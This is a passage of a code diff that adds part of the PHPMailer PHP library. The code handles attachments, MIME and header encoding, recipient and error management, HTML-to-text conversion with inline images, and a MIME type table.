+                $type = self::filenameToType($path);
+            }
+
+            $filename = basename($path);
+            if ($name == '') {
+                $name = $filename;
+            }
+
+            $this->attachment[] = array(
+                0 => $path,
+                1 => $filename,
+                2 => $name,
+                3 => $encoding,
+                4 => $type,
+                5 => false, // isStringAttachment
+                6 => $disposition,
+                7 => 0
+            );
+
+        } catch (phpmailerException $exc) {
+            $this->setError($exc->getMessage());
+            $this->edebug($exc->getMessage());
+            if ($this->exceptions) {
+                throw $exc;
+            }
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Return the array of attachments.
+     * @return array
+     */
+    public function getAttachments()
+    {
+        return $this->attachment;
+    }
+
+    /**
+     * Attach all file, string, and binary attachments to the message.
+     * Returns an empty string on failure.
+     * @access protected
+     * @param string $disposition_type
+     * @param string $boundary
+     * @return string
+     */
+    protected function attachAll($disposition_type, $boundary)
+    {
+        // Return text of body
+        $mime = array();
+        $cidUniq = array();
+        $incl = array();
+
+        // Add all attachments
+        foreach ($this->attachment as $attachment) {
+            // Check if it is a valid disposition_filter
+            if ($attachment[6] == $disposition_type) {
+                // Check for string attachment
+                $string = '';
+                $path = '';
+                $bString = $attachment[5];
+                if ($bString) {
+                    $string = $attachment[0];
+                } else {
+                    $path = $attachment[0];
+                }
+
+                $inclhash = md5(serialize($attachment));
+                if (in_array($inclhash, $incl)) {
+                    continue;
+                }
+                $incl[] = $inclhash;
+                $name = $attachment[2];
+                $encoding = $attachment[3];
+                $type = $attachment[4];
+                $disposition = $attachment[6];
+                $cid = $attachment[7];
+                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
+                    continue;
+                }
+                $cidUniq[$cid] = true;
+
+                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
+                //Only include a filename property if we have one
+                if (!empty($name)) {
+                    $mime[] = sprintf(
+                        'Content-Type: %s; name="%s"%s',
+                        $type,
+                        $this->encodeHeader($this->secureHeader($name)),
+                        $this->LE
+                    );
+                } else {
+                    $mime[] = sprintf(
+                        'Content-Type: %s%s',
+                        $type,
+                        $this->LE
+                    );
+                }
+                // RFC1341 part 5 says 7bit is assumed if not specified
+                if ($encoding != '7bit') {
+                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
+                }
+
+                if ($disposition == 'inline') {
+                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
+                }
+
+                // If a filename contains any of these chars, it should be quoted,
+                // but not otherwise: RFC2183 & RFC2045 5.1
+                // Fixes a warning in IETF's msglint MIME checker
+                // Allow for bypassing the Content-Disposition header totally
+                if (!(empty($disposition))) {
+                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
+                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
+                        $mime[] = sprintf(
+                            'Content-Disposition: %s; filename="%s"%s',
+                            $disposition,
+                            $encoded_name,
+                            $this->LE . $this->LE
+                        );
+                    } else {
+                        if (!empty($encoded_name)) {
+                            $mime[] = sprintf(
+                                'Content-Disposition: %s; filename=%s%s',
+                                $disposition,
+                                $encoded_name,
+                                $this->LE . $this->LE
+                            );
+                        } else {
+                            $mime[] = sprintf(
+                                'Content-Disposition: %s%s',
+                                $disposition,
+                                $this->LE . $this->LE
+                            );
+                        }
+                    }
+                } else {
+                    $mime[] = $this->LE;
+                }
+
+                // Encode as string attachment
+                if ($bString) {
+                    $mime[] = $this->encodeString($string, $encoding);
+                    if ($this->isError()) {
+                        return '';
+                    }
+                    $mime[] = $this->LE . $this->LE;
+                } else {
+                    $mime[] = $this->encodeFile($path, $encoding);
+                    if ($this->isError()) {
+                        return '';
+                    }
+                    $mime[] = $this->LE . $this->LE;
+                }
+            }
+        }
+
+        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
+
+        return implode('', $mime);
+    }
+
+    /**
+     * Encode a file attachment in requested format.
+     * Returns an empty string on failure.
+     * @param string $path The full path to the file
+     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
+     * @throws phpmailerException
+     * @access protected
+     * @return string
+     */
+    protected function encodeFile($path, $encoding = 'base64')
+    {
+        try {
+            if (!self::fileIsAccessible($path)) {
+                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
+            }
+            $magic_quotes = get_magic_quotes_runtime();
+            if ($magic_quotes) {
+                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
+                    set_magic_quotes_runtime(false);
+                } else {
+                    //Doesn't exist in PHP 5.4, but we don't need to check because
+                    //get_magic_quotes_runtime always returns false in 5.4+
+                    //so it will never get here
+                    ini_set('magic_quotes_runtime', false);
+                }
+            }
+            $file_buffer = file_get_contents($path);
+            $file_buffer = $this->encodeString($file_buffer, $encoding);
+            if ($magic_quotes) {
+                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
+                    set_magic_quotes_runtime($magic_quotes);
+                } else {
+                    ini_set('magic_quotes_runtime', $magic_quotes);
+                }
+            }
+            return $file_buffer;
+        } catch (Exception $exc) {
+            $this->setError($exc->getMessage());
+            return '';
+        }
+    }
+
+    /**
+     * Encode a string in requested format.
+     * Returns an empty string on failure.
+     * @param string $str The text to encode
+     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
+     * @access public
+     * @return string
+     */
+    public function encodeString($str, $encoding = 'base64')
+    {
+        $encoded = '';
+        switch (strtolower($encoding)) {
+            case 'base64':
+                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
+                break;
+            case '7bit':
+            case '8bit':
+                $encoded = $this->fixEOL($str);
+                // Make sure it ends with a line break
+                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
+                    $encoded .= $this->LE;
+                }
+                break;
+            case 'binary':
+                $encoded = $str;
+                break;
+            case 'quoted-printable':
+                $encoded = $this->encodeQP($str);
+                break;
+            default:
+                $this->setError($this->lang('encoding') . $encoding);
+                break;
+        }
+        return $encoded;
+    }
+
+    /**
+     * Encode a header string optimally.
+     * Picks shortest of Q, B, quoted-printable or none.
+     * @access public
+     * @param string $str
+     * @param string $position
+     * @return string
+     */
+    public function encodeHeader($str, $position = 'text')
+    {
+        $matchcount = 0;
+        switch (strtolower($position)) {
+            case 'phrase':
+                if (!preg_match('/[\200-\377]/', $str)) {
+                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
+                    $encoded = addcslashes($str, "\0..\37\177\\\"");
+                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
+                        return ($encoded);
+                    } else {
+                        return ("\"$encoded\"");
+                    }
+                }
+                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
+                break;
+            /** @noinspection PhpMissingBreakStatementInspection */
+            case 'comment':
+                $matchcount = preg_match_all('/[()"]/', $str, $matches);
+                // Intentional fall-through
+            case 'text':
+            default:
+                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
+                break;
+        }
+
+        //There are no chars that need encoding
+        if ($matchcount == 0) {
+            return ($str);
+        }
+
+        $maxlen = 75 - 7 - strlen($this->CharSet);
+        // Try to select the encoding which should produce the shortest output
+        if ($matchcount > strlen($str) / 3) {
+            // More than a third of the content will need encoding, so B encoding will be most efficient
+            $encoding = 'B';
+            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
+                // Use a custom function which correctly encodes and wraps long
+                // multibyte strings without breaking lines within a character
+                $encoded = $this->base64EncodeWrapMB($str, "\n");
+            } else {
+                $encoded = base64_encode($str);
+                $maxlen -= $maxlen % 4;
+                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
+            }
+        } else {
+            $encoding = 'Q';
+            $encoded = $this->encodeQ($str, $position);
+            $encoded = $this->wrapText($encoded, $maxlen, true);
+            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
+        }
+
+        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
+        $encoded = trim(str_replace("\n", $this->LE, $encoded));
+
+        return $encoded;
+    }
+
+    /**
+     * Check if a string contains multi-byte characters.
+     * @access public
+     * @param string $str multi-byte text to wrap encode
+     * @return boolean
+     */
+    public function hasMultiBytes($str)
+    {
+        if (function_exists('mb_strlen')) {
+            return (strlen($str) > mb_strlen($str, $this->CharSet));
+        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
+            return false;
+        }
+    }
+
+    /**
+     * Does a string contain any 8-bit chars (in any charset)?
+     * @param string $text
+     * @return boolean
+     */
+    public function has8bitChars($text)
+    {
+        return (boolean)preg_match('/[\x80-\xFF]/', $text);
+    }
+
+    /**
+     * Encode and wrap long multibyte strings for mail headers
+     * without breaking lines within a character.
+     * Adapted from a function by paravoid
+     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
+     * @access public
+     * @param string $str multi-byte text to wrap encode
+     * @param string $linebreak string to use as linefeed/end-of-line
+     * @return string
+     */
+    public function base64EncodeWrapMB($str, $linebreak = null)
+    {
+        $start = '=?' . $this->CharSet . '?B?';
+        $end = '?=';
+        $encoded = '';
+        if ($linebreak === null) {
+            $linebreak = $this->LE;
+        }
+
+        $mb_length = mb_strlen($str, $this->CharSet);
+        // Each line must have length <= 75, including $start and $end
+        $length = 75 - strlen($start) - strlen($end);
+        // Average multi-byte ratio
+        $ratio = $mb_length / strlen($str);
+        // Base64 has a 4:3 ratio
+        $avgLength = floor($length * $ratio * .75);
+
+        for ($i = 0; $i < $mb_length; $i += $offset) {
+            $lookBack = 0;
+            do {
+                $offset = $avgLength - $lookBack;
+                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
+                $chunk = base64_encode($chunk);
+                $lookBack++;
+            } while (strlen($chunk) > $length);
+            $encoded .= $chunk . $linebreak;
+        }
+
+        // Chomp the last linefeed
+        $encoded = substr($encoded, 0, -strlen($linebreak));
+        return $encoded;
+    }
+
+    /**
+     * Encode a string in quoted-printable format.
+     * According to RFC2045 section 6.7.
+     * @access public
+     * @param string $string The text to encode
+     * @param integer $line_max Number of chars allowed on a line before wrapping
+     * @return string
+     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
+     */
+    public function encodeQP($string, $line_max = 76)
+    {
+        // Use native function if it's available (>= PHP5.3)
+        if (function_exists('quoted_printable_encode')) {
+            return quoted_printable_encode($string);
+        }
+        // Fall back to a pure PHP implementation
+        $string = str_replace(
+            array('%20', '%0D%0A.', '%0D%0A', '%'),
+            array(' ', "\r\n=2E", "\r\n", '='),
+            rawurlencode($string)
+        );
+        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
+    }
+
+    /**
+     * Backward compatibility wrapper for an old QP encoding function that was removed.
+     * @see PHPMailer::encodeQP()
+     * @access public
+     * @param string $string
+     * @param integer $line_max
+     * @param boolean $space_conv
+     * @return string
+     * @deprecated Use encodeQP instead.
+     */
+    public function encodeQPphp(
+        $string,
+        $line_max = 76,
+        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
+    ) {
+        return $this->encodeQP($string, $line_max);
+    }
+
+    /**
+     * Encode a string using Q encoding.
+     * @link http://tools.ietf.org/html/rfc2047
+     * @param string $str the text to encode
+     * @param string $position Where the text is going to be used, see the RFC for what that means
+     * @access public
+     * @return string
+     */
+    public function encodeQ($str, $position = 'text')
+    {
+        // There should not be any EOL in the string
+        $pattern = '';
+        $encoded = str_replace(array("\r", "\n"), '', $str);
+        switch (strtolower($position)) {
+            case 'phrase':
+                // RFC 2047 section 5.3
+                $pattern = '^A-Za-z0-9!*+\/ -';
+                break;
+            /** @noinspection PhpMissingBreakStatementInspection */
+            case 'comment':
+                // RFC 2047 section 5.2
+                $pattern = '\(\)"';
+                // intentional fall-through
+                // for this reason we build the $pattern without including delimiters and []
+            case 'text':
+            default:
+                // RFC 2047 section 5.1
+                // Replace every high ascii, control, =, ? and _ characters
+                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
+                break;
+        }
+        $matches = array();
+        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
+            // If the string contains an '=', make sure it's the first thing we replace
+            // so as to avoid double-encoding
+            $eqkey = array_search('=', $matches[0]);
+            if (false !== $eqkey) {
+                unset($matches[0][$eqkey]);
+                array_unshift($matches[0], '=');
+            }
+            foreach (array_unique($matches[0]) as $char) {
+                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
+            }
+        }
+        // Replace every spaces to _ (more readable than =20)
+        return str_replace(' ', '_', $encoded);
+    }
+
+    /**
+     * Add a string or binary attachment (non-filesystem).
+     * This method can be used to attach ascii or binary data,
+     * such as a BLOB record from a database.
+     * @param string $string String attachment data.
+     * @param string $filename Name of the attachment.
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type File extension (MIME) type.
+     * @param string $disposition Disposition to use
+     * @return void
+     */
+    public function addStringAttachment(
+        $string,
+        $filename,
+        $encoding = 'base64',
+        $type = '',
+        $disposition = 'attachment'
+    ) {
+        // If a MIME type is not specified, try to work it out from the file name
+        if ($type == '') {
+            $type = self::filenameToType($filename);
+        }
+        // Append to $attachment array
+        $this->attachment[] = array(
+            0 => $string,
+            1 => $filename,
+            2 => basename($filename),
+            3 => $encoding,
+            4 => $type,
+            5 => true, // isStringAttachment
+            6 => $disposition,
+            7 => 0
+        );
+    }
+
+    /**
+     * Add an embedded (inline) attachment from a file.
+     * This can include images, sounds, and just about any other document type.
+     * These differ from 'regular' attachments in that they are intended to be
+     * displayed inline with the message, not just attached for download.
+     * This is used in HTML messages that embed the images
+     * the HTML refers to using the $cid value.
+     * Never use a user-supplied path to a file!
+     * @param string $path Path to the attachment.
+     * @param string $cid Content ID of the attachment; Use this to reference
+     *        the content when using an embedded image in HTML.
+     * @param string $name Overrides the attachment name.
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type File MIME type.
+     * @param string $disposition Disposition to use
+     * @return boolean True on successfully adding an attachment
+     */
+    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
+    {
+        if (!self::fileIsAccessible($path)) {
+            $this->setError($this->lang('file_access') . $path);
+            return false;
+        }
+
+        // If a MIME type is not specified, try to work it out from the file name
+        if ($type == '') {
+            $type = self::filenameToType($path);
+        }
+
+        $filename = basename($path);
+        if ($name == '') {
+            $name = $filename;
+        }
+
+        // Append to $attachment array
+        $this->attachment[] = array(
+            0 => $path,
+            1 => $filename,
+            2 => $name,
+            3 => $encoding,
+            4 => $type,
+            5 => false, // isStringAttachment
+            6 => $disposition,
+            7 => $cid
+        );
+        return true;
+    }
+
+    /**
+     * Add an embedded stringified attachment.
+     * This can include images, sounds, and just about any other document type.
+     * Be sure to set the $type to an image type for images:
+     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
+     * @param string $string The attachment binary data.
+     * @param string $cid Content ID of the attachment; Use this to reference
+     *        the content when using an embedded image in HTML.
+     * @param string $name
+     * @param string $encoding File encoding (see $Encoding).
+     * @param string $type MIME type.
+     * @param string $disposition Disposition to use
+     * @return boolean True on successfully adding an attachment
+     */
+    public function addStringEmbeddedImage(
+        $string,
+        $cid,
+        $name = '',
+        $encoding = 'base64',
+        $type = '',
+        $disposition = 'inline'
+    ) {
+        // If a MIME type is not specified, try to work it out from the name
+        if ($type == '' and !empty($name)) {
+            $type = self::filenameToType($name);
+        }
+
+        // Append to $attachment array
+        $this->attachment[] = array(
+            0 => $string,
+            1 => $name,
+            2 => $name,
+            3 => $encoding,
+            4 => $type,
+            5 => true, // isStringAttachment
+            6 => $disposition,
+            7 => $cid
+        );
+        return true;
+    }
+
+    /**
+     * Check if an inline attachment is present.
+     * @access public
+     * @return boolean
+     */
+    public function inlineImageExists()
+    {
+        foreach ($this->attachment as $attachment) {
+            if ($attachment[6] == 'inline') {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Check if an attachment (non-inline) is present.
+     * @return boolean
+     */
+    public function attachmentExists()
+    {
+        foreach ($this->attachment as $attachment) {
+            if ($attachment[6] == 'attachment') {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Check if this message has an alternative body set.
+     * @return boolean
+     */
+    public function alternativeExists()
+    {
+        return !empty($this->AltBody);
+    }
+
+    /**
+     * Clear queued addresses of given kind.
+     * @access protected
+     * @param string $kind 'to', 'cc', or 'bcc'
+     * @return void
+     */
+    public function clearQueuedAddresses($kind)
+    {
+        $RecipientsQueue = $this->RecipientsQueue;
+        foreach ($RecipientsQueue as $address => $params) {
+            if ($params[0] == $kind) {
+                unset($this->RecipientsQueue[$address]);
+            }
+        }
+    }
+
+    /**
+     * Clear all To recipients.
+     * @return void
+     */
+    public function clearAddresses()
+    {
+        foreach ($this->to as $to) {
+            unset($this->all_recipients[strtolower($to[0])]);
+        }
+        $this->to = array();
+        $this->clearQueuedAddresses('to');
+    }
+
+    /**
+     * Clear all CC recipients.
+     * @return void
+     */
+    public function clearCCs()
+    {
+        foreach ($this->cc as $cc) {
+            unset($this->all_recipients[strtolower($cc[0])]);
+        }
+        $this->cc = array();
+        $this->clearQueuedAddresses('cc');
+    }
+
+    /**
+     * Clear all BCC recipients.
+     * @return void
+     */
+    public function clearBCCs()
+    {
+        foreach ($this->bcc as $bcc) {
+            unset($this->all_recipients[strtolower($bcc[0])]);
+        }
+        $this->bcc = array();
+        $this->clearQueuedAddresses('bcc');
+    }
+
+    /**
+     * Clear all ReplyTo recipients.
+     * @return void
+     */
+    public function clearReplyTos()
+    {
+        $this->ReplyTo = array();
+        $this->ReplyToQueue = array();
+    }
+
+    /**
+     * Clear all recipient types.
+     * @return void
+     */
+    public function clearAllRecipients()
+    {
+        $this->to = array();
+        $this->cc = array();
+        $this->bcc = array();
+        $this->all_recipients = array();
+        $this->RecipientsQueue = array();
+    }
+
+    /**
+     * Clear all filesystem, string, and binary attachments.
+     * @return void
+     */
+    public function clearAttachments()
+    {
+        $this->attachment = array();
+    }
+
+    /**
+     * Clear all custom headers.
+     * @return void
+     */
+    public function clearCustomHeaders()
+    {
+        $this->CustomHeader = array();
+    }
+
+    /**
+     * Add an error message to the error container.
+     * @access protected
+     * @param string $msg
+     * @return void
+     */
+    protected function setError($msg)
+    {
+        $this->error_count++;
+        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
+            $lasterror = $this->smtp->getError();
+            if (!empty($lasterror['error'])) {
+                $msg .= $this->lang('smtp_error') . $lasterror['error'];
+                if (!empty($lasterror['detail'])) {
+                    $msg .= ' Detail: '. $lasterror['detail'];
+                }
+                if (!empty($lasterror['smtp_code'])) {
+                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
+                }
+                if (!empty($lasterror['smtp_code_ex'])) {
+                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
+                }
+            }
+        }
+        $this->ErrorInfo = $msg;
+    }
+
+    /**
+     * Return an RFC 822 formatted date.
+     * @access public
+     * @return string
+     * @static
+     */
+    public static function rfcDate()
+    {
+        // Set the time zone to whatever the default is to avoid 500 errors
+        // Will default to UTC if it's not set properly in php.ini
+        date_default_timezone_set(@date_default_timezone_get());
+        return date('D, j M Y H:i:s O');
+    }
+
+    /**
+     * Get the server hostname.
+     * Returns 'localhost.localdomain' if unknown.
+     * @access protected
+     * @return string
+     */
+    protected function serverHostname()
+    {
+        $result = 'localhost.localdomain';
+        if (!empty($this->Hostname)) {
+            $result = $this->Hostname;
+        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
+            $result = $_SERVER['SERVER_NAME'];
+        } elseif (function_exists('gethostname') && gethostname() !== false) {
+            $result = gethostname();
+        } elseif (php_uname('n') !== false) {
+            $result = php_uname('n');
+        }
+        return $result;
+    }
+
+    /**
+     * Get an error message in the current language.
+     * @access protected
+     * @param string $key
+     * @return string
+     */
+    protected function lang($key)
+    {
+        if (count($this->language) < 1) {
+            $this->setLanguage('en'); // set the default language
+        }
+
+        if (array_key_exists($key, $this->language)) {
+            if ($key == 'smtp_connect_failed') {
+                //Include a link to troubleshooting docs on SMTP connection failure
+                //this is by far the biggest cause of support questions
+                //but it's usually not PHPMailer's fault.
+                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
+            }
+            return $this->language[$key];
+        } else {
+            //Return the key as a fallback
+            return $key;
+        }
+    }
+
+    /**
+     * Check if an error occurred.
+     * @access public
+     * @return boolean True if an error did occur.
+     */
+    public function isError()
+    {
+        return ($this->error_count > 0);
+    }
+
+    /**
+     * Ensure consistent line endings in a string.
+     * Changes every end of line from CRLF, CR or LF to $this->LE.
+     * @access public
+     * @param string $str String to fixEOL
+     * @return string
+     */
+    public function fixEOL($str)
+    {
+        // Normalise to \n
+        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
+        // Now convert LE as needed
+        if ($this->LE !== "\n") {
+            $nstr = str_replace("\n", $this->LE, $nstr);
+        }
+        return $nstr;
+    }
+
+    /**
+     * Add a custom header.
+     * $name value can be overloaded to contain
+     * both header name and value (name:value)
+     * @access public
+     * @param string $name Custom header name
+     * @param string $value Header value
+     * @return void
+     */
+    public function addCustomHeader($name, $value = null)
+    {
+        if ($value === null) {
+            // Value passed in as name:value
+            $this->CustomHeader[] = explode(':', $name, 2);
+        } else {
+            $this->CustomHeader[] = array($name, $value);
+        }
+    }
+
+    /**
+     * Returns all custom headers.
+     * @return array
+     */
+    public function getCustomHeaders()
+    {
+        return $this->CustomHeader;
+    }
+
+    /**
+     * Create a message body from an HTML string.
+     * Automatically inlines images and creates a plain-text version by converting the HTML,
+     * overwriting any existing values in Body and AltBody.
+     * Do not source $message content from user input!
+     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
+     * will look for an image file in $basedir/images/a.png and convert it to inline.
+     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
+     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
+     * @access public
+     * @param string $message HTML message string
+     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
+     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
+     *    or your own custom converter @see PHPMailer::html2text()
+     * @return string $message The transformed message Body
+     */
+    public function msgHTML($message, $basedir = '', $advanced = false)
+    {
+        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
+        if (array_key_exists(2, $images)) {
+            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
+                // Ensure $basedir has a trailing /
+                $basedir .= '/';
+            }
+            foreach ($images[2] as $imgindex => $url) {
+                // Convert data URIs into embedded images
+                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
+                    $data = substr($url, strpos($url, ','));
+                    if ($match[2]) {
+                        $data = base64_decode($data);
+                    } else {
+                        $data = rawurldecode($data);
+                    }
+                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
+                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
+                        $message = str_replace(
+                            $images[0][$imgindex],
+                            $images[1][$imgindex] . '="cid:' . $cid . '"',
+                            $message
+                        );
+                    }
+                    continue;
+                }
+                if (
+                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
+                    !empty($basedir)
+                    // Ignore URLs containing parent dir traversal (..)
+                    && (strpos($url, '..') === false)
+                    // Do not change urls that are already inline images
+                    && substr($url, 0, 4) !== 'cid:'
+                    // Do not change absolute URLs, including anonymous protocol
+                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
+                ) {
+                    $filename = basename($url);
+                    $directory = dirname($url);
+                    if ($directory == '.') {
+                        $directory = '';
+                    }
+                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
+                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
+                        $directory .= '/';
+                    }
+                    if ($this->addEmbeddedImage(
+                        $basedir . $directory . $filename,
+                        $cid,
+                        $filename,
+                        'base64',
+                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
+                    )
+                    ) {
+                        $message = preg_replace(
+                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
+                            $images[1][$imgindex] . '="cid:' . $cid . '"',
+                            $message
+                        );
+                    }
+                }
+            }
+        }
+        $this->isHTML(true);
+        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
+        $this->Body = $this->normalizeBreaks($message);
+        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
+        if (!$this->alternativeExists()) {
+            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
+                self::CRLF . self::CRLF;
+        }
+        return $this->Body;
+    }
+
+    /**
+     * Convert an HTML string into plain text.
+     * This is used by msgHTML().
+     * Note - older versions of this function used a bundled advanced converter
+     * which was been removed for license reasons in #232.
+     * Example usage:
+     * <code>
+     * // Use default conversion
+     * $plain = $mail->html2text($html);
+     * // Use your own custom converter
+     * $plain = $mail->html2text($html, function($html) {
+     *     $converter = new MyHtml2text($html);
+     *     return $converter->get_text();
+     * });
+     * </code>
+     * @param string $html The HTML text to convert
+     * @param boolean|callable $advanced Any boolean value to use the internal converter,
+     *   or provide your own callable for custom conversion.
+     * @return string
+     */
+    public function html2text($html, $advanced = false)
+    {
+        if (is_callable($advanced)) {
+            return call_user_func($advanced, $html);
+        }
+        return html_entity_decode(
+            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
+            ENT_QUOTES,
+            $this->CharSet
+        );
+    }
+
+    /**
+     * Get the MIME type for a file extension.
+     * @param string $ext File extension
+     * @access public
+     * @return string MIME type of file.
+     * @static
+     */
+    public static function _mime_types($ext = '')
+    {
+        $mimes = array(
+            'xl'    => 'application/excel',
+            'js'    => 'application/javascript',
+            'hqx'   => 'application/mac-binhex40',
+            'cpt'   => 'application/mac-compactpro',
+            'bin'   => 'application/macbinary',
+            'doc'   => 'application/msword',
+            'word'  => 'application/msword',
+            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
+            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
+            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
+            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
+            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
+            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
+            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
+            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
+            'class' => 'application/octet-stream',
+            'dll'   => 'application/octet-stream',
+            'dms'   => 'application/octet-stream',
+            'exe'   => 'application/octet-stream',
+            'lha'   => 'application/octet-stream',
+            'lzh'   => 'application/octet-stream',
+            'psd'   => 'application/octet-stream',
+            'sea'   => 'application/octet-stream',
+            'so'    => 'application/octet-stream',
+            'oda'   => 'application/oda',
+            'pdf'   => 'application/pdf',
+            'ai'    => 'application/postscript',
+            'eps'   => 'application/postscript',
+            'ps'    => 'application/postscript',
+            'smi'   => 'application/smil',
+            'smil'  => 'application/smil',
+            'mif'   => 'application/vnd.mif',
+            'xls'   => 'application/vnd.ms-excel',
+            'ppt'   => 'application/vnd.ms-powerpoint',
+            'wbxml' => 'application/vnd.wap.wbxml',
+            'wmlc'  => 'application/vnd.wap.wmlc',
+            'dcr'   => 'application/x-director',
+            'dir'   => 'application/x-director',
+            'dxr'   => 'application/x-director',
+            'dvi'   => 'application/x-dvi',
+            'gtar'  => 'application/x-gtar',
+            'php3'  => 'application/x-httpd-php',
+            'php4'  => 'application/x-httpd-php',
+            'php'   => 'application/x-httpd-php',
+            'phtml' => 'application/x-httpd-php',
+            'phps'  => 'application/x-httpd-php-source',
+            'swf'   => 'application/x-shockwave-flash',
+            'sit'   => 'application/x-stuffit',
+            'tar'   => 'application/x-tar',
+            'tgz'   => 'application/x-tar',
+            'xht'   => 'application/xhtml+xml',
+            'xhtml' => 'application/xhtml+xml',
+            'zip'   => 'application/zip',
+            'mid'   => 'audio/midi',
+            'midi'  => 'audio/midi',
+            'mp2'   => 'audio/mpeg',
+            'mp3'   => 'audio/mpeg',
+            'mpga'  => 'audio/mpeg',
+            'aif'   => 'audio/x-aiff',
+            'aifc'  => 'audio/x-aiff',
+            'aiff'  => 'audio/x-aiff',
+            'ram'   => 'audio/x-pn-realaudio',
+            'rm'    => 'audio/x-pn-realaudio',
+            'rpm'   => 'audio/x-pn-realaudio-plugin',
+            'ra'    => 'audio/x-realaudio',
+            'wav'   => 'audio/x-wav',
+            'bmp'   => 'image/bmp',
+            'gif'   => 'image/gif',
+            'jpeg'  => 'image/jpeg',
+            'jpe'   => 'image/jpeg',
+            'jpg'   => 'image/jpeg',
+            'png'   => 'image/png',
+            'tiff'  => 'image/tiff',
+            'tif'   => 'image/tiff',
+            'eml'   => 'message/rfc822',
+            'css'   => 'text/css',
+            'html'  => 'text/html',
+            'htm'   => 'text/html',
+            'shtml' => 'text/html',
+            'log'   => 'text/plain',
+            'text'  => 'text/plain',
+            'txt'   => 'text/plain',
+            'rtx'   => 'text/richtext',
+            'rtf'   => 'text/rtf',
+            'vcf'   => 'text/vcard',
+            'vcard' => 'text/vcard',
+            'xml'   => 'text/xml',
+            'xsl'   => 'text/xml',
+            'mpeg'  => 'video/mpeg',
+            'mpe'   => 'video/mpeg',
